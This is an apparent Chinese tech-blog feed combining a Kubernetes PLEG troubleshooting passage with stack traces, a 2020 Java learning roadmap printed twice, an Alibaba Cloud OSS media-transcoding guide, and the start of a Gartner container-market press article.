    17:08:23.800258 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m1.500754856s ago; threshold is 3m0s]
    17:08:25.400439 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m3.100936232s ago; threshold is 3m0s]
    17:08:28.600599 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m6.301098811s ago; threshold is 3m0s]
    17:08:33.600812 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m11.30128783s ago; threshold is 3m0s]
    17:08:38.600983 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m16.301473637s ago; threshold is 3m0s]
    17:08:43.601157 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m21.301651575s ago; threshold is 3m0s]
    17:08:48.601331 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m26.301826001s ago; threshold is 3m0s]

    能直接看到 relist 函数执行情况的,是 kubelet 的调用栈。我们只要向 kubelet 进程发送 SIGABRT 信号,golang 运行时就会帮我们输出 kubelet 进程的所有调用栈。需要注意的是,这个操作会杀死 kubelet 进程。但是因为这个问题中,重启 kubelet 并不会破坏重现环境,所以影响不大。

    以下调用栈是 PLEG relist 函数的调用栈。从下往上,我们可以看到,relist 等在通过 grpc 获取 PodSandboxStatus。

    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.(*Stream).Header()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.recvResponse()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.invoke()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.Invoke()
    kubelet: k8s.io/kubernetes/pkg/kubelet/apis/cri/runtime/v1alpha2.(*runtimeServiceClient).PodSandboxStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/remote.(*RemoteRuntimeService).PodSandboxStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/kuberuntime.instrumentedRuntimeService.PodSandboxStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/kuberuntime.(*kubeGenericRuntimeManager).GetPodStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/pleg.(*GenericPLEG).updateCache()
    kubelet: k8s.io/kubernetes/pkg/kubelet/pleg.(*GenericPLEG).relist()
    kubelet: k8s.io/kubernetes/pkg/kubelet/pleg.(*GenericPLEG).(k8s.io/kubernetes/pkg/kubelet/pleg.relist)-fm()
    kubelet: k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.JitterUntil.func1(0xc420309260)
    kubelet: k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.JitterUntil()
    kubelet: k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.Until()

    使用 PodSandboxStatus 搜索 kubelet 调用栈,很容易找到下边这个线程,此线程是真正查询 Sandbox 状态的线程,从下往上看,我们会发现这个线程在 Plugin Manager 里尝试去拿一个 Mutex。

    kubelet: sync.runtime_SemacquireMutex()kubelet: sync.(*Mutex).Lock()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim/network.(*PluginManager).GetPodNetworkStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim.(*dockerService).getIPFromPlugin()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim.(*dockerService).getIP()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim.(*dockerService).PodSandboxStatus()
    kubelet: k8s.io/kubernetes/pkg/kubelet/apis/cri/runtime/v1alpha2._RuntimeService_PodSandboxStatus_Handler()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).processUnaryRPC()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).handleStream()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).serveStreams.func1.1()
    kubelet: created by k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).serveStreams.func1

    而这个 Mutex 只有在 Plugin Manager 里边有用到,所以我们查看所有 Plugin Manager 相关的调用栈。线程中一部分在等 Mutex,而剩余的都是在等 Terway cni plugin。

    kubelet: syscall.Syscall6()kubelet: os.(*Process).blockUntilWaitable()
    kubelet: os.(*Process).wait()kubelet: os.(*Process).Wait()
    kubelet: os/exec.(*Cmd).Wait()kubelet: os/exec.(*Cmd).Run()
    kubelet: k8s.io/kubernetes/vendor/github.com/containernetworking/cni/pkg/invoke.(*RawExec).ExecPlugin()
    kubelet: k8s.io/kubernetes/vendor/github.com/containernetworking/cni/pkg/invoke.(*PluginExec).WithResult()
    kubelet: k8s.io/kubernetes/vendor/github.com/containernetworking/cni/pkg/invoke.ExecPluginWithResult()
    kubelet: k8s.io/kubernetes/vendor/github.com/containernetworking/cni/libcni.(*CNIConfig).AddNetworkList()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim/network/cni.(*cniNetworkPlugin).addToNetwork()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim/network/cni.(*cniNetworkPlugin).SetUpPod()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim/network.(*PluginManager).SetUpPod()
    kubelet: k8s.io/kubernetes/pkg/kubelet/dockershim.(*dockerService).RunPodSandbox()
    kubelet: k8s.io/kubernetes/pkg/kubelet/apis/cri/runtime/v1alpha2._RuntimeService_RunPodSandbox_Handler()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).processUnaryRPC()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).handleStream()
    kubelet: k8s.io/kubernetes/vendor/google.golang.org/grpc.(*Server).serveStreams.func1.1()

    无响应的 Terwayd

    在进一步解释这个问题之前,我们需要区分下 Terway 和 Terwayd。本质上来说,Terway 和 Terwayd 是客户端服务器的关系,这跟 flannel 和 flanneld 之间的关系是一样的。Terway 是按照 kubelet 的定义,实现了 cni 接口的插件。

    6.png

    而在上一节最后,我们看到的问题,是 kubelet 调用 CNI terway 去配置 pod 网络的时候,Terway 长时间无响应。正常情况下这个操作应该是秒级的,非常快速。而出问题的时候,Terway 没有正常完成任务,因而我们在集群节点上看到大量 terway 进程堆积。

    7.png

    同样的,我们可以发送 SIGABRT 给这些 terway 插件进程,来打印出进程的调用栈。下边是其中一个 terway 的调用栈。这个线程在执行 cmdDel 函数,其作用是删除一个 pod 网络相关配置。

    kubelet: net/rpc.(*Client).Call()
    kubelet: main.rpcCall()kubelet: main.cmdDel()
    kubelet: github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/cni/pkg/skel.(*dispatcher).checkVersionAndCall()
    kubelet: github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/cni/pkg/skel.(*dispatcher).pluginMain()
    kubelet: github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/cni/pkg/skel.PluginMainWithError()
    kubelet: github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/cni/pkg/skel.PluginMain()

    以上线程通过 rpc 调用 terwayd,来真正的移除 pod 网络。所以我们需要进一步排查 terwayd 的调用栈来进一步定位此问题。Terwayd 作为 Terway 的服务器端,其接受 Terway 的远程调用,并替 Terway 完成其 cmdAdd 或者 cmdDel 来创建或者移除 pod 网络配置。

    我们在上边的截图里可以看到,集群节点上有成千 Terway 进程,他们都在等待 Terwayd,所以实际上 Terwayd 里,也有成千的线程在处理 Terway 的请求。

    使用下边的命令,可以在不重启 Terwayd 的情况下,输出调用栈。

    curl  --unix-socket /var/run/eni/eni.socket 'http:/debug/pprof/goroutine?debug=2'

    因为 Terwayd 的调用栈非常复杂,而且几乎所有的线程都在等锁,直接去分析锁的等待持有关系比较复杂。这个时候我们可以使用“时间大法”,即假设最早进入等待状态的线程,大概率是持有锁的线程。

    经过调用栈和代码分析,我们发现下边这个是等待时间最长(1595 分钟),且拿了锁的线程。而这个锁会 block 所有创建或者销毁 pod 网络的线程。

    goroutine 67570 [syscall, 1595 minutes, locked to thread]:
    syscall.Syscall6()
    github.com/AliyunContainerService/terway/vendor/golang.org/x/sys/unix.recvfrom()
    github.com/AliyunContainerService/terway/vendor/golang.org/x/sys/unix.Recvfrom()
    github.com/AliyunContainerService/terway/vendor/github.com/vishvananda/netlink/nl.(*NetlinkSocket).Receive()
    github.com/AliyunContainerService/terway/vendor/github.com/vishvananda/netlink/nl.(*NetlinkRequest).Execute()
    github.com/AliyunContainerService/terway/vendor/github.com/vishvananda/netlink.(*Handle).LinkSetNsFd()
    github.com/AliyunContainerService/terway/vendor/github.com/vishvananda/netlink.LinkSetNsFd()
    github.com/AliyunContainerService/terway/daemon.SetupVethPair()github.com/AliyunContainerService/terway/daemon.setupContainerVeth.func1()
    github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/plugins/pkg/ns.(*netNS).Do.func1()
    github.com/AliyunContainerService/terway/vendor/github.com/containernetworking/plugins/pkg/ns.(*netNS).Do.func2()

    原因深入分析前一个线程的调用栈,我们可以确定三件事情。

    • 第一,Terwayd 使用了 netlink 这个库来管理节点上的虚拟网卡,IP 地址及路由等资源,且 netlink 实现了类似 iproute2 的功能;
    • 第二,netlink 使用 socket 直接和内核通信;
    • 第三,以上线程等在 recvfrom 系统调用上。

    这样的情况下,我们需要去查看这个线程的内核调用栈,才能进一步确认这个线程等待的原因。因为从 goroutine 线程号比较不容易找到这个线程的系统线程 id,这里我们通过抓取系统的 core dump 来找出上边线程的内核调用栈。

    在内核调用栈中,搜索 recvfrom,定位到下边这个线程。基本上从下边的调用栈上,我们只能确定,此线程等在 recvfrom 函数上。

    PID: 19246  TASK: ffff880951f70fd0  CPU: 16  COMMAND: "terwayd" 
    #0 [ffff880826267a40] __schedule at ffffffff816a8f65 
    #1 [ffff880826267aa8] schedule at ffffffff816a94e9 
    #2 [ffff880826267ab8] schedule_timeout at ffffffff816a6ff9 
    #3 [ffff880826267b68] __skb_wait_for_more_packets at ffffffff81578f80 
    #4 [ffff880826267bd0] __skb_recv_datagram at ffffffff8157935f 
    #5 [ffff880826267c38] skb_recv_datagram at ffffffff81579403 
    #6 [ffff880826267c58] netlink_recvmsg at ffffffff815bb312 
    #7 [ffff880826267ce8] sock_recvmsg at ffffffff8156a88f 
    #8 [ffff880826267e58] SYSC_recvfrom at ffffffff8156aa08 
    #9 [ffff880826267f70] sys_recvfrom at ffffffff8156b2fe
    #10 [ffff880826267f80] tracesys at ffffffff816b5212 
    (via system_call)

    这个问题进一步深入排查,是比较困难的,这显然是一个内核问题,或者内核相关的问题。我们翻遍了整个内核 core,检查了所有的线程调用栈,看不到其它可能与这个问题相关联的线程。

    修复

    这个问题的修复基于一个假设,就是 netlink 并不是 100% 可靠的。netlink 可以响应很慢,甚至完全没有响应。所以我们可以给 netlink 操作增加超时,从而保证就算某一次 netlink 调用不能完成的情况下,terwayd 也不会被阻塞。

    总结

    在节点就绪状态这种场景下,kubelet 实际上实现了节点的心跳机制。kubelet 会定期把节点相关的各种状态,包括内存、PID、磁盘,当然也包括本文中关注的就绪状态等,同步到集群管控。kubelet 在监控或者管理集群节点的过程中,使用了各种插件来直接操作节点资源。这包括网络、磁盘,甚至容器运行时等插件,这些插件的状况,会直接应用 kubelet 甚至节点的状态。

    <关注公众号,回复 排查 即可下载本书>

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

    ]]>
    按照这个java技术路线学习,分分钟搞定面试官,进大厂不是梦 Fri, 02 May 2025 09:39:04 +0800 怎么说呢,最近几年的时间里,对于java开发人员来说,都知道java生态诞生了很多东西.每半年更新一次版本,发布了很多的流行的框架,像Spring5,Spring Security 5,Spring Boot 2等,这些都给我们带来了很多的挑战,但是也带来了很大的机遇.

    怎么说呢,最近几年的时间里,对于java开发人员来说,都知道java生态诞生了很多东西.每半年更新一次版本,发布了很多的流行的框架,像Spring5,Spring Security 5,Spring Boot 2等,这些都给我们带来了很多的挑战,但是也带来了很大的机遇.

    java版本更迭的速度确实是太快了,在2019年初,我认为java10还是比较新的,但是,在我学习完所有java10的特性之前,java11,java12,java12已经接憧而至,对于工作繁忙的程序员们来说,大多数人都根本没有时间看这些.基本也是了解一些有用的新特性而已呢.

    在2019年初,我认为Java 10还是比较新的,但是,在我学习完所有Java 10的特性之前,Java 11、Java 12、Java 12 已经接踵而至,对于工作繁忙的程序员们来说,大多数人都根本没有时间看这些。基本是都是了解一些有用的新特性而已。但是,新版本也带来了很多有趣的特性,如本地变量类型推断,switch表达式,文本块支持等.


    java的第一大框架,Spring.很多人的项目还在用Spring Security 3.1,根本不知道Spring 4.0 ,更别说他有什么特性了.但其实,Spring和Spring security 都已经出到了5.0版本.

    这是我列出来的2020年开发者应该学习的技术:

    1、DevOps (Docker and Jenkins)

    过去的一年,越来越多的公司正在转型DevOps,DevOps非常庞大,需要学习很多工具和原理,但你不需要担心。有大神已经分享了DevOps路线图(https://github.com/kamranahmedse/developer-roadmap,可以按照这个路线图以自己的速度学习和掌握DevOps。

    2020年Java程序员应该学习的10大技术

    如果你是一个有经验的Java程序员,愿意学习环境管理、自动化和整体改进,你也可以成为DevOps工程师。

    2、Java 9 - Java 15

    相信现在很多Java开发人员主要使用的Java版本还是以Java 8为主,虽然Java 9 - Java 13已经推出了有一段时间。

    但是作为Java程序员,我们可能因为某些原因没办法在线上环境真正的进行JDK的升级,但是花一些时间学习Java 9、Java 10、Java 11、Java 12和 Java 13的新特性还是有必要的。

    另外,大家可以重点关注一些关键特性,如GC相关的特性、对编码风格有改变的特性等。还有就是Java的LTS版本(Java 8、Java 11)要重点学习。

    还要提醒大家一点,在2020年,Oracle还会推出Java 14 和 Java 15!!!如果你在使用Java 7的话,马上就要被"套圈"了!

    3、Spring Framework 5

    2017年我们见证了Spring和Java生态系统的许多重大升级,Spring 5.0就是其中之一。Spring 5 的新反应式编程模型、HTTP/2 支持,以及 Spring 通过 Kotlin 对函数式编程的全面支持这些都值得我们好好了解一下。

    4、Spring Security 5.0

    Spring Security 5.0 提供了许多新功能,并支持 Spring Framework 5.0,总共有 400 多个增强功能和 bug 修复。在Spring Security 5.0.0之前,密码是明文保存,十分不安全。因为这一次发布的是大版本,所以我们决定使用更安全的密码存储方式。Spring Security 5.0.0的主要亮点在于它只需要最小化的JDK 8、反应式安全特性、OAuth 2.0(OIDC)和现代密码存储。

    5、Spring Boot 2

    Spring Boot 2.0 基于 Spring 5 Framework ,提供了 异步非阻塞 IO 的响应式 Stream 、非堵塞的函数式 Reactive Web 框架 Spring WebFlux等特性。很多使用过SpringBoot的人都知道,使用SpringBoot搭建Web应用真的是又快又好,相信Spring Boot 2会带来更多惊喜。

    6、Hadoop、Spark 和 Kafka

    另外在2020年Java程序员需要学习的是大数据相关的知识。特别是Apache Spark 和 Kafka两个框架。

    2020年Java程序员应该学习的10大技术

    如果你也想在2020年学习大数据,也一定绕不开Hadoop生态。

    7、Elasticsearch

    全文搜索属于最常见的需求,开源的 Elasticsearch (以下简称 Elastic)是目前全文搜索引擎的首选。维基百科、Stack Overflow、Github 都在使用它。

    > Elasticsearch是一个基于Lucene库的搜索引擎。它提供了一个分布式、支持多租户的全文搜索引擎,具有HTTP Web接口和无模式JSON文档。Elasticsearch是用Java开发的,并在Apache许可证下作为开源软件发布。

    8、ServiceMesh

    这两年很火,火的一塌糊涂。在2019年,但凡是程序员相关的大会,如果没有讲ServiceMest的专题,那都不好意思开。

    所有人都在说 ServiceMesh;

    几乎没人知道怎么落地 ServiceMesh;

    但是大家都觉得其他人在大力做 ServiceMesh;

    所以大家都宣称自己在做 ServiceMesh;

    这个号称下一代微服务架构的概念,现在对于大多数人来说根本不知道是啥。只知道很多大厂宣称自己在做,很多大牛在布道。

    9、Serverless

    无服务器运算(英语:Serverless computing),又被称为功能即服务(Function-as-a-Service,缩写为 FaaS),是云计算的一种模型。以平台即服务(PaaS)为基础,无服务器运算提供一个微型的架构,终端客户不需要部署、配置或管理服务器服务,代码运行所需要的服务器服务皆由云平台来提供。这东西,听上去就很高大上。

    2019年,和ServiceMesh一样,所有人都宣称自己在做。但是又很很多人不知道他到底是什么。

    10、Kotlin

    如果大家有关注Java 13的新特性的话,一定知道推出了字符串文本块的功能,这个功能其实是借鉴的Kotlin,除此之外,最近几年,Java有很多特性都在借鉴Kotlin,相比较于Java,Kotlin更加简洁,而且Kotlin编出来的代码也可以直接通过JVM运行。

    > Kotlin是一种在Java虚拟机上运行的静态类型编程语言,它也可以被编译成为JavaScript源代码。Kotlin的设计初衷就是用来生产高性能要求的程序的,所以运行起来和Java也是不相上下。Kotlin可以从 JetBrains InteilliJ Idea IDE这个开发工具以插件形式使用。

    感谢大家的阅读,觉得可以的话,还请给个关注不迷路.小编会不断更新java方面的知识和内容,与大家分享.

    如果想要获取免费java相关资料,请加1023554403
    对于Java开发人员来说,最近几年的时间中,Java生态诞生了很多东西。每6个月更新一次Java版本,以及发布很多流行的框架,如Spring 5、Spring Security 5和Spring Boot 2等,这些都给我们带来了很大的挑战。

    在2019年初,我认为Java 10还是比较新的,但是,在我学习完所有Java 10的特性之前,Java 11、Java 12、Java 12 已经接踵而至,对于工作繁忙的程序员们来说,大多数人都根本没有时间看这些。基本是都是了解一些有用的新特性而已。

    Java的版本迭代速度实在是太快了,也带来了很多有趣的特性,如本地变量类型推断、switch表达式、文本块支持等。

    Java系第一大框架,Spring亦是如此,很多人的项目还在用Spring Security 3.1 ,甚至不知道Spring 4.0和Spring Security 4.0都有哪些特性。但是,Spring和Spring Security都已经出到了5.0版本。

    以下是我列出的2020年Java开发者应该学习的技术:

    1、DevOps (Docker and Jenkins)

    过去的一年,越来越多的公司正在转型DevOps,DevOps非常庞大,需要学习很多工具和原理,但你不需要担心。有大神已经分享了DevOps路线图(https://github.com/kamranahmedse/developer-roadmap,可以按照这个路线图以自己的速度学习和掌握DevOps。

    2020年Java程序员应该学习的10大技术

    如果你是一个有经验的Java程序员,愿意学习环境管理、自动化和整体改进,你也可以成为DevOps工程师。

    2、Java 9 - Java 15

    相信现在很多Java开发人员主要使用的Java版本还是以Java 8为主,虽然Java 9 - Java 13已经推出了有一段时间。

    但是作为Java程序员,我们可能因为某些原因没办法在线上环境真正的进行JDK的升级,但是花一些时间学习Java 9、Java 10、Java 11、Java 12和 Java 13的新特性还是有必要的。

    另外,大家可以重点关注一些关键特性,如GC相关的特性、对编码风格有改变的特性等。还有就是Java的LTS版本(Java 8、Java 11)要重点学习。

    还要提醒大家一点,在2020年,Oracle还会推出Java 14 和 Java 15!!!如果你在使用Java 7的话,马上就要被"套圈"了!

    3、Spring Framework 5

    2017年我们见证了Spring和Java生态系统的许多重大升级,Spring 5.0就是其中之一。Spring 5 的新反应式编程模型、HTTP/2 支持,以及 Spring 通过 Kotlin 对函数式编程的全面支持这些都值得我们好好了解一下。

    4、Spring Security 5.0

    Spring Security 5.0 提供了许多新功能,并支持 Spring Framework 5.0,总共有 400 多个增强功能和 bug 修复。在Spring Security 5.0.0之前,密码是明文保存,十分不安全。因为这一次发布的是大版本,所以我们决定使用更安全的密码存储方式。Spring Security 5.0.0的主要亮点在于它只需要最小化的JDK 8、反应式安全特性、OAuth 2.0(OIDC)和现代密码存储。

    5、Spring Boot 2

    Spring Boot 2.0 基于 Spring 5 Framework ,提供了 异步非阻塞 IO 的响应式 Stream 、非堵塞的函数式 Reactive Web 框架 Spring WebFlux等特性。很多使用过SpringBoot的人都知道,使用SpringBoot搭建Web应用真的是又快又好,相信Spring Boot 2会带来更多惊喜。

    6、Hadoop、Spark 和 Kafka

    另外在2020年Java程序员需要学习的是大数据相关的知识。特别是Apache Spark 和 Kafka两个框架。

    2020年Java程序员应该学习的10大技术

    如果你也想在2020年学习大数据,也一定绕不开Hadoop生态。

    7、Elasticsearch

    全文搜索属于最常见的需求,开源的 Elasticsearch (以下简称 Elastic)是目前全文搜索引擎的首选。维基百科、Stack Overflow、Github 都在使用它。

    Elasticsearch是一个基于Lucene库的搜索引擎。它提供了一个分布式、支持多租户的全文搜索引擎,具有HTTP Web接口和无模式JSON文档。Elasticsearch是用Java开发的,并在Apache许可证下作为开源软件发布。

    8、ServiceMesh

    这两年很火,火的一塌糊涂。在2019年,但凡是程序员相关的大会,如果没有讲ServiceMest的专题,那都不好意思开。

    所有人都在说 ServiceMesh;

    几乎没人知道怎么落地 ServiceMesh;

    但是大家都觉得其他人在大力做 ServiceMesh;

    所以大家都宣称自己在做 ServiceMesh;

    这个号称下一代微服务架构的概念,现在对于大多数人来说根本不知道是啥。只知道很多大厂宣称自己在做,很多大牛在布道。

    9、Serverless

    无服务器运算(英语:Serverless computing),又被称为功能即服务(Function-as-a-Service,缩写为 FaaS),是云计算的一种模型。以平台即服务(PaaS)为基础,无服务器运算提供一个微型的架构,终端客户不需要部署、配置或管理服务器服务,代码运行所需要的服务器服务皆由云平台来提供。这东西,听上去就很高大上。

    2019年,和ServiceMesh一样,所有人都宣称自己在做。但是又很很多人不知道他到底是什么。

    10、Kotlin

    如果大家有关注Java 13的新特性的话,一定知道推出了字符串文本块的功能,这个功能其实是借鉴的Kotlin,除此之外,最近几年,Java有很多特性都在借鉴Kotlin,相比较于Java,Kotlin更加简洁,而且Kotlin编出来的代码也可以直接通过JVM运行。

    Kotlin是一种在Java虚拟机上运行的静态类型编程语言,它也可以被编译成为JavaScript源代码。Kotlin的设计初衷就是用来生产高性能要求的程序的,所以运行起来和Java也是不相上下。Kotlin可以从 JetBrains InteilliJ Idea IDE这个开发工具以插件形式使用。

    感谢大家的阅读,觉得可以的话,还请给个关注不迷路.小编会不断更新java方面的知识和内容,与大家分享.

    如果想要获取免费java相关资料,请加1023554403

    ]]>
    OSS 解决方案篇-OSS 结合 媒体处理 使用 Fri, 02 May 2025 09:39:04 +0800 先了解 MPS

    媒体处理(ApsaraVideo Media Processing,原MTS)是一种多媒体数据处理服务。它以经济、弹性和高可扩展的音视频转换方法,帮助您将存储于OSS的音视频转码成适合在PC、TV以及移动终端上播放的格式。并基于海量数据深度学习,对音视频的内容、文字、语音、场景多模态分析,实现智能审核、内容理解、智能编辑。

    支持格式

    输入格式

    • 容器格式:3GP、AVI、FLV、MP4、M3U8、MPG、ASF、WMV、MKV、MOV、TS、WebM、MXF
    • 视频编码格式:H.264/AVC、H.263、 H.263+、H.265、MPEG-1、MPEG-2、MPEG-4、MJPEG、VP8、VP9、Quicktime、RealVideo、Windows Media Video
    • 音频编码格式:AAC、AC-3、ADPCM、AMR、DSD、MP1、MP2、MP3、PCM、RealAudio、Windows Media Audio

    输出格式

    • 容器格式:

      • 视频:FLV、MP4、HLS(m3u8+ts)、MPEG-DASH(MPD+fMP4)
      • 音频:MP3、MP4、OGG、FLAC、m4a
      • 图片:GIF、WEBP
    • 视频编码格式:H.264/AVC、 H.265/HEVC
    • 音频编码格式:MP3、AAC、VORBIS、FLAC

    MPS 转码方式

    API 提交转码作业

    通过 API 根据 OSS 文件存储地址的方式,用 MPS 预置系统的转码模版进行转码。将源文件下载后进行转码然后在回传到 OSS。
    提交转码作业

    通过 API 根据 OSS 文件存储地址的方式,用自定义的 MPS 模版进行转码。将源文件下载后进行转码然后在回传到 OSS,这种方式比较灵活,能自定义转码模版适合自由度高,对音视频编解码深度了解的客户;
    自定义转码模版
    提交转码作业

    工作流自动触发

    如果用户有大量文件新传到 OSS 需要批量触发转码可以通过工作来完成。这种模式是 OSS 通过 mns 事件通知的方式告知 MPS,然后触发工作流,开始按照配置的转码规则进行转码。

    工作的特点可以大批量文件自动触发执行,通过管道的方式设置消息通知来回调客户端,异步非阻塞的模式降低用户的代码成本。

    工作流可以配置多个,每个工作流可以使用监听不同的 OSS prefix ,使用不用的媒体转码管道,将用户的不同业务隔离开。

    image.png

    工作流配置方法

    1、首先用户先要开通媒体处理产品功能,并且绑定好媒体处理所在地区的 bucket 信息,这里媒体处理的输入输出 bucket region 需要和媒体处理开通的区域一致;
    而且需要注意,媒体处理绑定 bucket 是要有授权的,所以需要子账号尽量具备 OSS 管理权限;

    image.png

    2、创建工作流
    创建工作流选用方式很多种,可以自己定义一个规则,选择自己想要转码还是截图,灵活度很高;
    如果用户不是对编解码很懂,也可以使用系统推荐的一些模版。但这里要注意尽量不要用预置智能模版,智能模版需要对源文件进行音视频文件分析然后和你转码输出的规则匹配,如果匹配失败则不会触发转码,尽量不要使用,如果很清楚自己业务输入视频和输出视频的内容规则可以使用;

    image.png

    3、如果选择自定工作流,可以在 + 号的位置,灵活定义你需要的功能,不需要的不用引入;但是需要注意下,如果转码后的文件最后发布时没有选择自动发布,那么 OSS 转码后的文件还不能被公开访问到,需要手动发布下,建议都用自动发布,如果有内容鉴黄的需求可以改成手动发布;

    image.png

    image.png

    4、如果需要工作流转码完成后回调用户,可以对管道设置消息通知,这里用的是 mns 消息服务产品,涉及到消息服务产品的计费请先了解好;

    image.png

    5、配置好的工作流方式是监听到 OSS 的事件后自动触发,但很多用户时 API 或者 SDK 调用工作流,希望能控制工作流的触发模式,可以参考 更新媒体工作流触发模式
    触发模式(范围:OssAutoTrigger 自动执行、NotInAuto 非自动执行)

    FQA

    如果获取 OSS 视频文件编码信息

    用户可以调用 查询媒体 接口来获取 OSS 存储的视频文件信息(视频宽高、码率、容器格式等信息)

    如何加速大文件的转码效率

    用户基本上都是 1G 以上的大文件,一次性提交了多个文件,类似场景可以提交工单申请倍速转码管道来提高批量大文件的转码效率,但是如果是几百兆或者以下的文件不推荐用倍速转码,并无太多提升效果;

    如果文件较多有上百个或者几十个大文件并发转码时,也可以申请新的转码管道,将 OSS 下不同 prefix 的视频文件按业务分管道转码也可以提高效率;

    取消大量转码中的作业

    如果用户提交太多的大文件,转码需要很长时间才能完成这是正常情况,如果用户等不及需要取消转码中的文件,分多个管道完成也可以的;
    需要先调用 列出转码作业 找到需要取消的 jobid ,然后调用 取消转码作业

    OSS 视频文件能宽高自适应吗

    用户可以选择一边固定,比如宽,然后另外一边自适应不用填写。
    image.png

    ]]>
    Gartner报告:阿里云与AWS并列入选容器产品最完善 Fri, 02 May 2025 09:39:04 +0800 近日,国际知名调研机构 Gartner 发布 2020 年容器公有云竞争格局报告,阿里云再度成为国内唯一入选厂商。Gartner 报告显示,阿里云容器服务在中国市场表现强劲,产品形态丰富,在如 Serverless 容器、服务网格、安全沙箱容器、混合云和边缘等领域,具备良好的技术发展策略。

    2020 年 3 月,Gartner 第二次公开《竞争格局:公共云容器服务》年度调研报告,报告针对 Serverless Kubernetes、服务网格、容器镜像等十项功能维度进行对比,阿里云和 AWS 覆盖九项产品能力,产品丰富度领先 Google、微软、IBM 和 Oracle 四家厂商。

    image.png

    阿里云连续两年入选 Gartner 容器报告,一方面是因为阿里云拥有全球第三的市场份额,另一方面是因为其已经拥有近十年的容器技术储备。

    目前,阿里云容器服务(ACK)已在中国及海外 19 个公有云可用区开服,同时也支持客户在自有机房和边缘端的部署使用 Kubernetes。同时,阿里云还提供了丰富的差异化产品:兼容 Istio 的托管版服务网格、基于弹性容器实例的无服务器 Kubernetes(ASK)、提供镜像扫描的独享版容器镜像服务 (ACR)、基于轻量虚拟机技术的安全沙箱容器运行时和托管服务网格(ASM)等等。在此前的 Forrester 公共云容器服务评测中,阿里云作为 Strong Performer 位列国内第一。

    过去几年,容器服务被各行业企业广泛接受,而阿里云凭借业界最丰富的容器产品家族,容器服务已经连续数年规模超 400% 高速增长。如今,阿里云容器服务支撑着上万个集群,数百万容器。这背后离不开的,是阿里云广大云原生客户及阿里集团内部的千锤百炼。容器服务 ACK 以一套架构支撑了外部客户、云产品和阿里巴巴内部核心系统容器化上云。

    2019 年天猫 双11,阿里巴巴核心系统首次实现 100% 上云。面对全球最大的交易洪峰,阿里云扛住了每秒 54.4 万笔的交易峰值,这是“云原生”与“天猫全球狂欢节”的一次完美联名。在新的 双11 来临前,容器镜像服务新增了数 PB 的镜像数据,月均镜像拉取达数亿次。

    同时产品提供了云原生应用交付链等功能,全面覆盖阿里巴巴经济体及云上用户在云原生时代的使用需求。

    容器技术走向成熟,业内方案日趋完整

    Gartner 指出,如今更多的主流企业开始落地容器技术,他们关注的是完整体系化的容器解决方案而非某些单独零散的产品服务。在经典的 Kubernetes 服务之外,同全球一流的技术与服务提供商一样,阿里云也在深耕与 Kubernetes 相关周边领域,比如无服务化容器、混合云、生态体系、aPaaS 集成、安全和自动化 DevOps 等方面。

    这里选取 Gartner 报告中重点提及的三个发展方向:无服务器(Serverless)容器、如服务网格等 aPaaS 组件、容器生态。

    给 Kubernetes 减负,Serverless 容器备受瞩目

    Kubernetes 已经成为业界容器编排系统的事实标准,但不可否认的是,Kubernetes 的复杂性让一些初学者望而却步进退两难。业内厂商因此都开始思考如何通过Serverless 的方式根本性解决 K8s 自身的管理复杂性,让用户无需受困于 K8s 集群容量规划、安全维护、故障诊断。

    Gartner 认为无服务化容器已迅速崛起,并将会在未来的容器领域扮演重要角色。此类产品与底层 IaaS 资源紧密结合,免去用户管理服务器的负担,具备更好的扩缩容能力。阿里云的 Serverless Kubernetes(ASK)、AWS 的 Fargate 和微软云的虚拟节点,不仅可以帮助一线开发者简化容器运行环境,而且也被越来越多企业用于海量规模 Kubernetes 集群的管配。

    阿里云 Serverless Kubernetes 是业界 Kubernetes 兼容性最好的 Serverless Container 服务,其调度容器实例服务 ECI 底层资源,可以实现 10 秒启动容器,30 秒弹性扩容 500 个 pod,轻松支持单集群 1 万个 Pod,弹性能力堪称业界一流。其同时提供了丰富的产品能力,包括镜像缓存、GPU、抢占式 spot 实例等,满足在线业务弹性、数据计算、CI/CD 等多种场景需求。

    着眼于全生命周期,更好支撑基于 Kubernetes 的微服务应用

